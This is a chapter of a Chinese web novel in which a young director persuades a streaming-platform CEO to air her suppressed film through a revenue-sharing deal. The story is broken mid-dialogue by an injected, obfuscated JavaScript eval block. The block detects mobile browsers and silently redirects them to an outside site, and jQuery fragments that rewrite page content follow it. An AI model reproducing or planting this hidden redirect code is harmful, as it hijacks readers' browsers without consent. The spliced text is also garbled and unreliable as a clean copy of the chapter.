见面的地点选在一家茶馆的包间。


    很隐蔽，没有监控，进出有独立通道。


    沈小鱼到的时候，星辉视频的CEO王振已经在了。


    五十多岁，微胖，戴着金边眼镜，看起来更像大学教授而不是商人。


    “沈导，请坐。”他起身，很客气。


    沈小鱼坐下，没有寒暄，直接问：


    “王总找我，是想谈《野草》的播出吗？”


    王振苦笑：“沈导果然是直接的人。”


    他给沈小鱼倒茶，动作很慢，像在组织语言：


    “首先，我代表星辉，向您正式道歉。毁约的事……确实是我们理亏。”


    沈小鱼没接茶，也没说话。


    王振叹了口气，把茶杯放下：


    “但有些事，不是一句‘理亏’就能解释的。沈导，您知道星辉最大的股东是谁吗？”


    “八大公司之一的‘光影传媒’。”


    “对。”


    王振点头，“持股37%，有绝对话语权。而《野草》从立项开始，光影那边就明确指示：不能播。”


    “为什么？”


    “因为《野草》的成功，会证明‘星火计划’那套模式是可行的。”


    王振摘下眼镜，揉了揉眉心，“光影旗下有十二个子公司，从艺人经纪到后期制作，全产业链覆盖。他们的商业模式很简单：垄断资源，抬高门槛，让新人必须依附他们才能生存。”


    他顿了顿：


    “而您做的，是在打破这个垄断。您证明了一个新人编剧、一个新人导演、一个新人演员，不需要大公司，也能拍出好作品，甚至能获得官方和学界的认可。这对光影来说，是致命的威胁。”


    沈小鱼沉默了几秒：


    “所以你们毁约，不是觉得《野草》不好，是怕它太好？”


    “是。”


    王振坦承，“从内容角度看，《野草》是近年来最好的华语电影之一。从商业角度看，它有口碑，有话题，有许昕这样的新鲜面孔，上映后票房不会差。但光影不在乎这些，他们在乎的是——不能让您成功。”


    “那您呢？”


    沈小鱼看着他，“您作为星辉的CEO，也这么想吗？”


    王振长久地沉默。


    然后他说：“我三十岁进这个行业，从场记做到CEO，四十年了。我见过太多好作品被埋没，太多有才华的人被逼走。我也……难受。”


    他的声音有些发颤：


    “但我有我的难处。光影给了最后通牒：如果星辉播《野草》，他们就撤资。而星辉现在……撑不住这样的打击。”


    他抬起头，眼睛里有血丝：


    “沈导，我不是在求您原谅。我只是想让您知道——毁约，不是我一个人的决定。是整个系统，在逼我这么做。”


    包间里一片寂静。


    只有茶水沸腾的轻微声响。


    沈小鱼端起茶杯，喝了一口。


    茶很苦。


    “王总，”她放下茶杯，“如果我告诉您，我不需要您原谅，我需要您合作呢？”


    王振愣住：“合作？怎么合作？”


    沈小鱼从包里拿出一份文件，推到他面前。


    “这是‘新规则基金’法律团队拟定的，一种新型的分账播出方案。”


    她说，“简单说：星辉不需要预付版权费，不需要承担宣发成本。只需要给《野草》上线，然后从实际产生的会员收入和广告收入中，按比例分账。”


    王振快速翻阅文件，眼神越来越亮：


    “风险共担，利益共享？”


    “对。”


    沈小鱼说，“如果电影没人看，你们不亏。如果火了，你们赚。而光影那边——他们没有理由反对，因为这种模式不涉及前期投入，不会影响星辉的现金流。”


    她顿了顿：


    “更重要的是，这种模式如果成功，会成为行业范例。以后好作品就不用再被买断版权，创作者能真正从作品的长期价值中获益。”


    王振合上文件，手指无意识地敲着桌面。


    他在思考。


    沈小鱼没有催他。


    她知道，这是一个艰难的决定——不仅关乎商业，更关乎立场。


    如果王振接受了这个方案，就意味着他公开站到了光影的对立面。


    五分钟的沉默。


    然后王振抬起头：


    “沈导，这个方案……需要董事会通过。而董事会里，有光影的人。”


    “我知道。”


    沈小鱼说，“所以我们需要一个他们无法拒绝的理由。”


    “什么理由？”


    沈小鱼拿出手机，打开微博，递给他看。


    热搜第一：#野草神作#。


    热搜第二：#三大高校联名支持#。


    热搜第三：#人民日报点赞#。


    热搜第五：#观众求排片#。


    “舆论已经起来了。”


    沈小鱼说，“现在不是星辉要不要播《野草》的问题，是如果星辉不播，会被舆论反噬的问题。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17076458|193092||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”


    她顿了顿：


    “王总，您刚才说，光影怕《野草》成功。那您想过没有——他们更怕什么？”


    王振看着她。


    “他们更怕的，是《野草》以另一种方式成功。”


    沈小鱼一字一句，“比如，绕过所有传统平台，通过高校放映、民间包场、海外电影节，形成一种‘地下传播’的现象。到那时，《野草》会成为一面旗帜——一面反抗资本垄断的旗帜。而星辉，会成为那个‘扼杀好作品的帮凶’，被钉在耻辱柱上。”


    王振的脸色变了。


    他当然知道这意味着什么——在互联网时代，口碑可以摧毁一个品牌。


    如果星辉真的被贴上“打压好作品”的标签，那损失的不仅仅是《野草》这一部电影，是整个平台的公信力。


    “所以，”沈小鱼收回手机，“这个方案，不是我在求您。是我们在合作——您帮我让电影上映，我帮您挽回声誉。”


    她站起来：


    “王总，赌一把。赌观众会用选择，告诉资本什么是对的。”


    她走到门口，又回头：


    “三天。我给您三天时间考虑。三天后，如果星辉不接，我会启动B计划——自己建一个播放平台。虽然难，但也不是不可能。”


    说完，她推门离开。


    包间里，王振独自坐着，看着那份方案，看着手机上那些热搜。


    他知道，沈小鱼说的每一句都是真的。


    他也知道，自己站在了十字路口。


    往左，是继续做资本的傀儡，看着好作品被埋没，看着行业越来越僵化。


    往右，是赌上职业生涯，去尝试一条新路。


    他闭上眼睛。


    想起了很多年前，他刚入行时，在一个小放映厅里看《活着》。


    那时他哭得稀里哗啦，对自己说：我也要做出这样的电影。


    四十年过去了。


    他做到了CEO，却离那样的电影越来越远。


    而现在，机会来了。


    不是做那样的电影。


    是让那样的电影，能被看见。


    他睁开眼，拿起手机，拨通了助理的电话：


    “通知所有董事，明天上午九点，紧急董事会。议题只有一个：《野草》的播出方案。”


    挂断电话后，他长长地吐出一口气。


    然后笑了。


    笑得像个孩子。


    他终于，要去做一件对的事了。


    哪怕代价是，失去一切。